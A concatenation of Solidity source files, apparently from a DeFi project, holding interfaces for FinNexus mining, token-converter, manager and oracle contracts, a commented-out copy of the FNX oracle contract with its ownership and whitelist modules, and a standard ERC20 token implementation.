// delegateToViewAndReturn();
// }
// /**
// * @dev convert timestamp to period ID.
// * _time timestamp.
// */
// function getPeriodIndex(uint256 /*_time*/) public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev convert period ID to period's finish timestamp.
// * periodID period ID.
// */
// function getPeriodFinishTime(uint256 /*periodID*/)public view returns (uint256) {
// delegateToViewAndReturn();
// }
// /**
// * @dev Stake FPT-A coin and get distribution for mining.
// * amount FPT-A amount that transfer into mine pool.
// */
// function stakeFPTA(uint256 /*amount*/)public {
// delegateAndReturn();
// }
// /**
// * @dev Air drop to user some FPT-B coin and lock one period and get distribution for mining.
// * user air drop's recieptor.
// * ftp_b_amount FPT-B amount that transfer into mine pool.
// */
// function lockAirDrop(address /*user*/,uint256 /*ftp_b_amount*/) external{
// delegateAndReturn();
// }
// /**
// * @dev Stake FPT-B coin and lock locedPreiod and get distribution for mining.
// * amount FPT-B amount that transfer into mine pool.
// * lockedPeriod locked preiod number.
// */
// function stakeFPTB(uint256 /*amount*/,uint256 /*lockedPeriod*/)public{
// delegateAndReturn();
// }
// /**
// * @dev withdraw FPT-A coin.
// * amount FPT-A amount that withdraw from mine pool.
// */
// function unstakeFPTA(uint256 /*amount*/)public {
// delegateAndReturn();
// }
// /**
// * @dev withdraw FPT-B coin.
// * amount FPT-B amount that withdraw from mine pool.
// */
// function unstakeFPTB(uint256 /*amount*/)public{
// delegateAndReturn();
// }
// /**
// * @dev Add FPT-B locked period.
// * lockedPeriod FPT-B locked preiod number.
// */
// function changeFPTBLockedPeriod(uint256 /*lockedPeriod*/)public{
// delegateAndReturn();
// }
// /**
// * @dev retrieve total distributed premium coins.
// */
// function getTotalPremium()public view returns(uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev user redeem his options premium rewards.
// */
// function redeemPremium()public{
// delegateAndReturn();
// }
// /**
// * @dev user redeem his options premium rewards.
// * amount redeem amount.
// */
// function redeemPremiumCoin(address /*premiumCoin*/,uint256 /*amount*/)public{
// delegateAndReturn();
// }
// /**
// * @dev get user's premium balance.
// * account user's account
// */
// function getUserLatestPremium(address /*account*/,address /*premiumCoin*/)public view returns(uint256){
// delegateToViewAndReturn();
// }
// /**
// * @dev Distribute premium from foundation.
// * periodID period ID
// * amount premium amount.
// */
// function distributePremium(address /*premiumCoin*/,uint256 /*periodID*/,uint256 /*amount*/)public {
// delegateAndReturn();
// }
// /**
// * @dev Emitted when `account` stake `amount` FPT-A coin.
// */
// event StakeFPTA(address indexed account,uint256 amount);
// /**
// * @dev Emitted when `from` airdrop `recieptor` `amount` FPT-B coin.
// */
// event LockAirDrop(address indexed from,address indexed recieptor,uint256 amount);
// /**
// * @dev Emitted when `account` stake `amount` FPT-B coin and locked `lockedPeriod` periods.
// */
// event StakeFPTB(address indexed account,uint256 amount,uint256 lockedPeriod);
// /**
// * @dev Emitted when `account` unstake `amount` FPT-A coin.
// */
// event UnstakeFPTA(address indexed account,uint256 amount);
// /**
// * @dev Emitted when `account` unstake `amount` FPT-B coin.
// */
// event UnstakeFPTB(address indexed account,uint256 amount);
// /**
// * @dev Emitted when `account` change `lockedPeriod` locked periods for FPT-B coin.
// */
// event ChangeLockedPeriod(address indexed account,uint256 lockedPeriod);
// /**
// * @dev Emitted when owner `account` distribute `amount` premium in `periodID` period.
// */
// event DistributePremium(address indexed account,address indexed premiumCoin,uint256 indexed periodID,uint256 amount);
// /**
// * @dev Emitted when `account` redeem `amount` premium.
// */
// event RedeemPremium(address indexed account,address indexed premiumCoin,uint256 amount);
// /**
// * @dev Emitted when `account` redeem `value` mineCoins.
// */
// event RedeemMineCoin(address indexed account, address indexed mineCoin, uint256 value);
// }
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0x955282b82440F8F69E901380BeF2b603Fba96F3b
// Some functions were omitted for brevity. See the contract for details
interface IFNX_TokenConverter {
struct lockedReward {
uint256 startTime; //this tx startTime for locking
uint256 total; //record input amount in each lock tx
// Have to comment this out to get compiling working here
// mapping (uint256 => uint256) alloc;//the allocation table
}
struct lockedIdx {
uint256 beginIdx;//the first index for user converting input claimable tx index
uint256 totalIdx;//the total number for converting tx
}
function cfnxAddress() external returns (address); //cfnx token address
function fnxAddress() external returns (address); //fnx token address
function timeSpan() external returns (uint256); //time interval span time ,default one month
function dispatchTimes() external returns (uint256); //allocation times,default 6 times
function txNum() external returns (uint256); //100 times transfer tx
function lockPeriod() external returns (uint256);
function lockedBalances(address) external returns (uint256); //locked balance for each user
function lockedAllRewards(address, uint256) external returns (lockedReward memory); //converting tx record for each user
function lockedIndexs(address) external returns (lockedIdx memory); //the converting tx index info
function getbackLeftFnx(address /*reciever*/) external;
function setParameter(address /*_cfnxAddress*/,address /*_fnxAddress*/,uint256 /*_timeSpan*/,uint256 /*_dispatchTimes*/,uint256 /*_txNum*/) external;
function lockedBalanceOf(address /*account*/) external view returns (uint256);
function inputCfnxForInstallmentPay(uint256 /*amount*/) external;
function claimFnxExpiredReward() external;
function getClaimAbleBalance(address) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0xa2904Fd151C9d9D634dFA8ECd856E6B9517F9785
// Some functions were omitted for brevity. See the contract for details
// More info: https://github.com/FinNexus/OptionsContract/blob/master/contracts/ManagerContract.sol
// For Collateral Calculations: https://github.com/FinNexus/FinnexusOptionsV1.0/blob/master/contracts/OptionsManager/CollateralCal.sol
// Addresses: https://github.com/FinNexus/FinNexus-Documentation/blob/master/content/developers/smart-contracts.md
interface IFNX_ManagerProxy {
/**
* @dev Get the minimum collateral occupation rate.
*/
function getCollateralRate(address /*collateral*/)external view returns (uint256) ;
/**
* @dev Retrieve user's cost of collateral, priced in USD.
* user input retrieved account
*/
function getUserPayingUsd(address /*user*/)external view returns (uint256);
/**
* @dev Retrieve user's amount of the specified collateral.
* user input retrieved account
* collateral input retrieved collateral coin address
*/
function userInputCollateral(address /*user*/,address /*collateral*/)external view returns (uint256);
/**
* @dev Retrieve user's current total worth, priced in USD.
* account input retrieve account
*/
function getUserTotalWorth(address /*account*/)external view returns (uint256);
/**
* @dev Retrieve FPTCoin's net worth, priced in USD.
*/
function getTokenNetworth() external view returns (uint256);
/**
* @dev Deposit collateral in this pool from user.
* collateral The collateral coin address which is in whitelist.
* amount the amount of collateral to deposit.
*/
function addCollateral(address /*collateral*/,uint256 /*amount*/) external payable;
/**
* @dev redeem collateral from this pool, user can input the prioritized collateral,he will get this coin,
* if this coin is unsufficient, he will get others collateral which in whitelist.
* tokenAmount the amount of FPTCoin want to redeem.
* collateral The prioritized collateral coin address.
*/
function redeemCollateral(uint256 /*tokenAmount*/,address /*collateral*/) external;
/**
* @dev Retrieve user's collateral worth in all collateral coin.
* If user want to redeem all his collateral,and the vacant collateral is sufficient,
* He can redeem each collateral amount in return list.
* account the retrieve user's account;
*/
function calCollateralWorth(address /*account*/)external view returns(uint256[] memory);
/**
* @dev Retrieve the occupied collateral worth, multiplied by minimum collateral rate, priced in USD.
*/
function getOccupiedCollateral() external view returns(uint256);
/**
* @dev Retrieve the available collateral worth, the worth of collateral which can used for buy options, priced in USD.
*/
function getAvailableCollateral() external view returns(uint256);
/**
* @dev Retrieve the left collateral worth, the worth of collateral which can used for redeem collateral, priced in USD.
*/
function getLeftCollateral() external view returns(uint256);
/**
* @dev Retrieve the unlocked collateral worth, the worth of collateral which currently used for options, priced in USD.
*/
function getUnlockedCollateral() external view returns(uint256);
/**
* @dev Retrieve the total collateral worth, priced in USD.
*/
function getTotalCollateral() external view returns(uint256);
/**
* @dev Retrieve the balance of collateral, the auxiliary function for the total collateral calculation.
*/
function getRealBalance(address /*settlement*/)external view returns(int256);
function getNetWorthBalance(address /*settlement*/)external view returns(uint256);
/**
* @dev collateral occupation rate calculation
* collateral occupation rate = sum(collateral Rate * collateral balance) / sum(collateral balance)
*/
function calculateCollateralRate() external view returns (uint256);
/**
* @dev retrieve input price valid range rate, thousandths.
*/
function getPriceRateRange() external view returns(uint256,uint256) ;
function getALLCollateralinfo(address /*user*/)external view
returns(uint256[] memory,int256[] memory,uint32[] memory,uint32[] memory);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0x43BD92bF3Bb25EBB3BdC2524CBd6156E3Fdd41F3
// Some functions were omitted for brevity. See the contract for details
interface IFNX_Oracle {
function getAssetAndUnderlyingPrice(address asset,uint256 underlying) external view returns (uint256,uint256);
function getPrices(uint256[]memory assets) external view returns (uint256[]memory);
/**
* @notice retrieves price of an asset
* @dev function to get price for an asset
* @param asset Asset for which to get the price
* @return uint mantissa of asset price (scaled by 1e8) or zero if unset or contract paused
*/
function getPrice(address asset) external view returns (uint256);
function getUnderlyingPrice(uint256 underlying) external view returns (uint256);
}
// /**
// *Submitted for verification at Etherscan.io on 2020-11-04
// */
// // File: contracts\modules\Ownable.sol
// pragma solidity >=0.6.0;
// /**
// * @dev Contract module which provides a basic access control mechanism, where
// * there is an account (an owner) that can be granted exclusive access to
// * specific functions.
// *
// * This module is used through inheritance. It will make available the modifier
// * `onlyOwner`, which can be applied to your functions to restrict their use to
// * the owner.
// */
// contract Ownable {
// address internal _owner;
// event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// /**
// * @dev Initializes the contract setting the deployer as the initial owner.
// */
// constructor() internal {
// _owner = msg.sender;
// emit OwnershipTransferred(address(0), _owner);
// }
// /**
// * @dev Returns the address of the current owner.
// */
// function owner() public view returns (address) {
// return _owner;
// }
// /**
// * @dev Throws if called by any account other than the owner.
// */
// modifier onlyOwner() {
// require(isOwner(), "Ownable: caller is not the owner");
// _;
// }
// /**
// * @dev Returns true if the caller is the current owner.
// */
// function isOwner() public view returns (bool) {
// return msg.sender == _owner;
// }
// /**
// * @dev Leaves the contract without owner. It will not be possible to call
// * `onlyOwner` functions anymore. Can only be called by the current owner.
// *
// * NOTE: Renouncing ownership will leave the contract without an owner,
// * thereby removing any functionality that is only available to the owner.
// */
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
// /**
// * @dev Transfers ownership of the contract to a new account (`newOwner`).
// * Can only be called by the current owner.
// */
// function transferOwnership(address newOwner) public onlyOwner {
// _transferOwnership(newOwner);
// }
// /**
// * @dev Transfers ownership of the contract to a new account (`newOwner`).
// */
// function _transferOwnership(address newOwner) internal {
// require(newOwner != address(0), "Ownable: new owner is the zero address");
// emit OwnershipTransferred(_owner, newOwner);
// _owner = newOwner;
// }
// }
// // File: contracts\modules\whiteList.sol
// pragma solidity >=0.6.0;
// /**
// * @dev Implementation of a whitelist which filters a eligible uint32.
// */
// library whiteListUint32 {
// /**
// * @dev add uint32 into white list.
// * @param whiteList the storage whiteList.
// * @param temp input value
// */
// function addWhiteListUint32(uint32[] storage whiteList,uint32 temp) internal{
// if (!isEligibleUint32(whiteList,temp)){
// whiteList.push(temp);
// }
// }
// /**
// * @dev remove uint32 from whitelist.
// */
// function removeWhiteListUint32(uint32[] storage whiteList,uint32 temp)internal returns (bool) {
// uint256 len = whiteList.length;
// uint256 i=0;
// for (;i<len;i++){
// if (whiteList[i] == temp)
// break;
// }
// if (i<len){
// if (i!=len-1) {
// whiteList[i] = whiteList[len-1];
// }
// whiteList.pop();
// return true;
// }
// return false;
// }
// function isEligibleUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (bool){
// uint256 len = whiteList.length;
// for (uint256 i=0;i<len;i++){
// if (whiteList[i] == temp)
// return true;
// }
// return false;
// }
// function _getEligibleIndexUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (uint256){
// uint256 len = whiteList.length;
// uint256 i=0;
// for (;i<len;i++){
// if (whiteList[i] == temp)
// break;
// }
// return i;
// }
// }
// /**
// * @dev Implementation of a whitelist which filters a eligible uint256.
// */
// library whiteListUint256 {
// // add whiteList
// function addWhiteListUint256(uint256[] storage whiteList,uint256 temp) internal{
// if (!isEligibleUint256(whiteList,temp)){
// whiteList.push(temp);
// }
// }
// function removeWhiteListUint256(uint256[] storage whiteList,uint256 temp)internal returns (bool) {
// uint256 len = whiteList.length;
// uint256 i=0;
// for (;i<len;i++){
// if (whiteList[i] == temp)
// break;
// }
// if (i<len){
// if (i!=len-1) {
// whiteList[i] = whiteList[len-1];
// }
// whiteList.pop();
// return true;
// }
// return false;
// }
// function isEligibleUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (bool){
// uint256 len = whiteList.length;
// for (uint256 i=0;i<len;i++){
// if (whiteList[i] == temp)
// return true;
// }
// return false;
// }
// function _getEligibleIndexUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (uint256){
// uint256 len = whiteList.length;
// uint256 i=0;
// for (;i<len;i++){
// if (whiteList[i] == temp)
// break;
// }
// return i;
// }
// }
// /**
// * @dev Implementation of a whitelist which filters a eligible address.
// */
// library whiteListAddress {
// // add whiteList
// function addWhiteListAddress(address[] storage whiteList,address temp) internal{
// if (!isEligibleAddress(whiteList,temp)){
// whiteList.push(temp);
// }
// }
// function removeWhiteListAddress(address[] storage whiteList,address temp)internal returns (bool) {
// uint256 len = whiteList.length;
// uint256 i=0;
// for (;i<len;i++){
// if (whiteList[i] == temp)
// break;
// }
// if (i<len){
// if (i!=len-1) {
// whiteList[i] = whiteList[len-1];
// }
// whiteList.pop();
// return true;
// }
// return false;
// }
// function isEligibleAddress(address[] memory whiteList,address temp) internal pure returns (bool){
// uint256 len = whiteList.length;
// for (uint256 i=0;i<len;i++){
// if (whiteList[i] == temp)
// return true;
// }
// return false;
// }
// function _getEligibleIndexAddress(address[] memory whiteList,address temp) internal pure returns (uint256){
// uint256 len = whiteList.length;
// uint256 i=0;
// for (;i<len;i++){
// if (whiteList[i] == temp)
// break;
// }
// return i;
// }
// }
// // File: contracts\modules\Operator.sol
// pragma solidity >=0.6.0;
// /**
// * @dev Contract module which provides a basic access control mechanism, where
// * each operator can be granted exclusive access to specific functions.
// *
// */
// contract Operator is Ownable {
// using whiteListAddress for address[];
// address[] private _operatorList;
// /**
// * @dev modifier, every operator can be granted exclusive access to specific functions.
// *
// */
// modifier onlyOperator() {
// require(_operatorList.isEligibleAddress(msg.sender),"Managerable: caller is not the Operator");
// _;
// }
// /**
// * @dev modifier, Only indexed operator can be granted exclusive access to specific functions.
// *
// */
// modifier onlyOperatorIndex(uint256 index) {
// require(_operatorList.length>index && _operatorList[index] == msg.sender,"Managerable: caller is not the eligible Operator");
// _;
// }
// /**
// * @dev add a new operator by owner.
// *
// */
// function addOperator(address addAddress)public onlyOwner{
// _operatorList.addWhiteListAddress(addAddress);
// }
// /**
// * @dev modify indexed operator by owner.
// *
// */
// function setOperator(uint256 index,address addAddress)public onlyOwner{
// _operatorList[index] = addAddress;
// }
// /**
// * @dev remove operator by owner.
// *
// */
// function removeOperator(address removeAddress)public onlyOwner returns (bool){
// return _operatorList.removeWhiteListAddress(removeAddress);
// }
// /**
// * @dev get all operators.
// *
// */
// function getOperator()public view returns (address[] memory) {
// return _operatorList;
// }
// /**
// * @dev set all operators by owner.
// *
// */
// function setOperators(address[] memory operators)public onlyOwner {
// _operatorList = operators;
// }
// }
// // File: contracts\interfaces\AggregatorV3Interface.sol
// pragma solidity >=0.6.0;
// interface AggregatorV3Interface {
// function decimals() external view returns (uint8);
// function description() external view returns (string memory);
// function version() external view returns (uint256);
// // getRoundData and latestRoundData should both raise "No data present"
// // if they do not have data to report, instead of returning unset values
// // which could be misinterpreted as actual reported values.
// function getRoundData(uint80 _roundId)
// external
// view
// returns (
// uint80 roundId,
// int256 answer,
// uint256 startedAt,
// uint256 updatedAt,
// uint80 answeredInRound
// );
// function latestRoundData()
// external
// view
// returns (
// uint80 roundId,
// int256 answer,
// uint256 startedAt,
// uint256 updatedAt,
// uint80 answeredInRound
// );
// }
// // File: contracts\interfaces\IERC20.sol
// pragma solidity ^0.6.11;
// /**
// * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
// * the optional functions; to access them see {ERC20Detailed}.
// */
// interface IERC20 {
// function decimals() external view returns (uint8);
// /**
// * @dev Returns the amount of tokens in existence.
// */
// function totalSupply() external view returns (uint256);
// /**
// * @dev Returns the amount of tokens owned by `account`.
// */
// function balanceOf(address account) external view returns (uint256);
// /**
// * @dev Moves `amount` tokens from the caller's account to `recipient`.
// *
// * Returns a boolean value indicating whether the operation succeeded.
// *
// * Emits a {Transfer} event.
// */
// function transfer(address recipient, uint256 amount) external returns (bool);
// /**
// * @dev Returns the remaining number of tokens that `spender` will be
// * allowed to spend on behalf of `owner` through {transferFrom}. This is
// * zero by default.
// *
// * This value changes when {approve} or {transferFrom} are called.
// */
// function allowance(address owner, address spender) external view returns (uint256);
// /**
// * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
// *
// * Returns a boolean value indicating whether the operation succeeded.
// *
// * IMPORTANT: Beware that changing an allowance with this method brings the risk
// * that someone may use both the old and the new allowance by unfortunate
// * transaction ordering. One possible solution to mitigate this race
// * condition is to first reduce the spender's allowance to 0 and set the
// * desired value afterwards:
// * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
// *
// * Emits an {Approval} event.
// */
// function approve(address spender, uint256 amount) external returns (bool);
// /**
// * @dev Moves `amount` tokens from `sender` to `recipient` using the
// * allowance mechanism. `amount` is then deducted from the caller's
// * allowance.
// *
// * Returns a boolean value indicating whether the operation succeeded.
// *
// * Emits a {Transfer} event.
// */
// function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
// /**
// * @dev Emitted when `value` tokens are moved from one account (`from`) to
// * another (`to`).
// *
// * Note that `value` may be zero.
// */
// event Transfer(address indexed from, address indexed to, uint256 value);
// /**
// * @dev Emitted when the allowance of a `spender` for an `owner` is set by
// * a call to {approve}. `value` is the new allowance.
// */
// event Approval(address indexed owner, address indexed spender, uint256 value);
// }
// // File: contracts\FNXOracle.sol
// pragma solidity ^0.6.7;
// contract FNXOracle is Operator {
// mapping(uint256 => AggregatorV3Interface) private assetsMap;
// mapping(uint256 => uint256) private decimalsMap;
// mapping(uint256 => uint256) private priceMap;
// uint256 internal decimals = 1;
// /**
// * Network: Ropsten
// * Aggregator: LTC/USD
// * Address: 0x727B59d0989d6D1961138122BC9F94f534E82B32
// */
// constructor() public {
// //mainnet
// assetsMap[1] = AggregatorV3Interface(0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c);
// assetsMap[2] = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
// assetsMap[3] = AggregatorV3Interface(0x24551a8Fb2A7211A25a17B1481f043A8a8adC7f2);
// assetsMap[4] = AggregatorV3Interface(0xDC3EA94CD0AC27d9A86C180091e7f78C683d3699);
// assetsMap[5] = AggregatorV3Interface(0x2c1d072e956AFFC0D435Cb7AC38EF18d24d9127c);
// assetsMap[0] = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
// assetsMap[uint256(0xeF9Cd7882c067686691B6fF49e650b43AFBBCC6B)] = AggregatorV3Interface(0x80070f7151BdDbbB1361937ad4839317af99AE6c);
// priceMap[uint256(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)] = 1e20;
// decimalsMap[0] = 18;
// decimalsMap[1] = 18;
// decimalsMap[2] = 18;
// decimalsMap[3] = 18;
// decimalsMap[4] = 18;
// decimalsMap[5] = 18;
// decimalsMap[uint256(0xeF9Cd7882c067686691B6fF49e650b43AFBBCC6B)] = 18;
// decimalsMap[uint256(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)] = 6;
// /*
// //rinkeby
// assetsMap[1] = AggregatorV3Interface(0xECe365B379E1dD183B20fc5f022230C044d51404);
// assetsMap[2] = AggregatorV3Interface(0x8A753747A1Fa494EC906cE90E9f37563A8AF630e);
// assetsMap[3] = AggregatorV3Interface(0xd8bD0a1cB028a31AA859A21A3758685a95dE4623);
// assetsMap[4] = AggregatorV3Interface(0xE96C4407597CD507002dF88ff6E0008AB41266Ee);
// assetsMap[5] = AggregatorV3Interface(0xd8bD0a1cB028a31AA859A21A3758685a95dE4623);
// assetsMap[0] = AggregatorV3Interface(0x8A753747A1Fa494EC906cE90E9f37563A8AF630e);
// assetsMap[uint256(0xaf30F6A6B09728a4e793ED6d9D0A7CcBa192c229)] = AggregatorV3Interface(0xcf74110A02b1D391B27cE37364ABc3b279B1d9D1);
// priceMap[uint256(0xD12BC93Ac5eA2b4Ba99e0ffEd053a53B6d18C7a3)] = 1e20;
// decimalsMap[0] = 18;
// decimalsMap[1] = 18;
// decimalsMap[2] = 18;
// decimalsMap[3] = 18;
// decimalsMap[4] = 18;
// decimalsMap[5] = 18;
// decimalsMap[uint256(0xaf30F6A6B09728a4e793ED6d9D0A7CcBa192c229)] = 18;
// decimalsMap[uint256(0xD12BC93Ac5eA2b4Ba99e0ffEd053a53B6d18C7a3)] = 6;
// */
// }
// function setDecimals(uint256 newDecimals) public onlyOwner{
// decimals = newDecimals;
// }
// function getAssetAndUnderlyingPrice(address asset,uint256 underlying) public view returns (uint256,uint256) {
// return (getUnderlyingPrice(uint256(asset)),getUnderlyingPrice(underlying));
// }
// function setPrices(uint256[]memory assets,uint256[]memory prices) public onlyOwner {
// require(assets.length == prices.length, "input arrays' length are not equal");
// uint256 len = assets.length;
// for (uint i=0;i<len;i++){
// priceMap[i] = prices[i];
// }
// }
// function getPrices(uint256[]memory assets) public view returns (uint256[]memory) {
// uint256 len = assets.length;
// uint256[] memory prices = new uint256[](len);
// for (uint i=0;i<len;i++){
// prices[i] = getUnderlyingPrice(assets[i]);
// }
// return prices;
// }
// /**
// * @notice retrieves price of an asset
// * @dev function to get price for an asset
// * @param asset Asset for which to get the price
// * @return uint mantissa of asset price (scaled by 1e8) or zero if unset or contract paused
// */
// function getPrice(address asset) public view returns (uint256) {
// return getUnderlyingPrice(uint256(asset));
// }
// function getUnderlyingPrice(uint256 underlying) public view returns (uint256) {
// if (underlying == 3){
// return getMKRPrice();
// }
// AggregatorV3Interface assetsPrice = assetsMap[underlying];
// if (address(assetsPrice) != address(0)){
// (, int price,,,) = assetsPrice.latestRoundData();
// uint256 tokenDecimals = decimalsMap[underlying];
// if (tokenDecimals < 18){
// return uint256(price)/decimals*(10**(18-tokenDecimals));
// }else if (tokenDecimals > 18){
// return uint256(price)/decimals/(10**(18-tokenDecimals));
// }else{
// return uint256(price)/decimals;
// }
// }else {
// return priceMap[underlying];
// }
// }
// function getMKRPrice() internal view returns (uint256) {
// AggregatorV3Interface assetsPrice = assetsMap[3];
// AggregatorV3Interface ethPrice = assetsMap[0];
// if (address(assetsPrice) != address(0) && address(ethPrice) != address(0)){
// (, int price,,,) = assetsPrice.latestRoundData();
// (, int ethPrice,,,) = ethPrice.latestRoundData();
// uint256 tokenDecimals = decimalsMap[3];
// uint256 mkrPrice = uint256(price*ethPrice)/decimals/1e18;
// if (tokenDecimals < 18){
// return mkrPrice/decimals*(10**(18-tokenDecimals));
// }else if (tokenDecimals > 18){
// return mkrPrice/decimals/(10**(18-tokenDecimals));
// }else{
// return mkrPrice/decimals;
// }
// }else {
// return priceMap[3];
// }
// }
// /**
// * @notice set price of an asset
// * @dev function to set price for an asset
// * @param asset Asset for which to set the price
// * @param price the Asset's price
// */
// function setPrice(address asset,uint256 price) public onlyOperatorIndex(0) {
// priceMap[uint256(asset)] = price;
// }
// /**
// * @notice set price of an underlying
// * @dev function to set price for an underlying
// * @param underlying underlying for which to set the price
// * @param price the underlying's price
// */
// function setUnderlyingPrice(uint256 underlying,uint256 price) public onlyOperatorIndex(0) {
// require(underlying>0 , "underlying cannot be zero");
// priceMap[underlying] = price;
// }
// /**
// * @notice set price of an asset
// * @dev function to set price for an asset
// * @param asset Asset for which to set the price
// * @param aggergator the Asset's aggergator
// */
// function setAssetsAggregator(address asset,address aggergator,uint256 _decimals) public onlyOwner {
// assetsMap[uint256(asset)] = AggregatorV3Interface(aggergator);
// decimalsMap[uint256(asset)] = _decimals;
// }
// /**
// * @notice set price of an underlying
// * @dev function to set price for an underlying
// * @param underlying underlying for which to set the price
// * @param aggergator the underlying's aggergator
// */
// function setUnderlyingAggregator(uint256 underlying,address aggergator,uint256 _decimals) public onlyOwner {
// require(underlying>0 , "underlying cannot be zero");
// assetsMap[underlying] = AggregatorV3Interface(aggergator);
// decimalsMap[underlying] = _decimals;
// }
// function getAssetsAggregator(address asset) public view returns (address,uint256) {
// return (address(assetsMap[uint256(asset)]),decimalsMap[uint256(asset)]);
// }
// function getUnderlyingAggregator(uint256 underlying) public view returns (address,uint256) {
// return (address(assetsMap[underlying]),decimalsMap[underlying]);
// }
// }
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "../Common/Context.sol";
import "./IERC20.sol";
import "../Math/SafeMath.sol";
import "../Utils/Address.sol";
// Due to compiling issues, _name, _symbol, and _decimals were removed
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Custom is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.approve(address spender, uint256 amount)
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
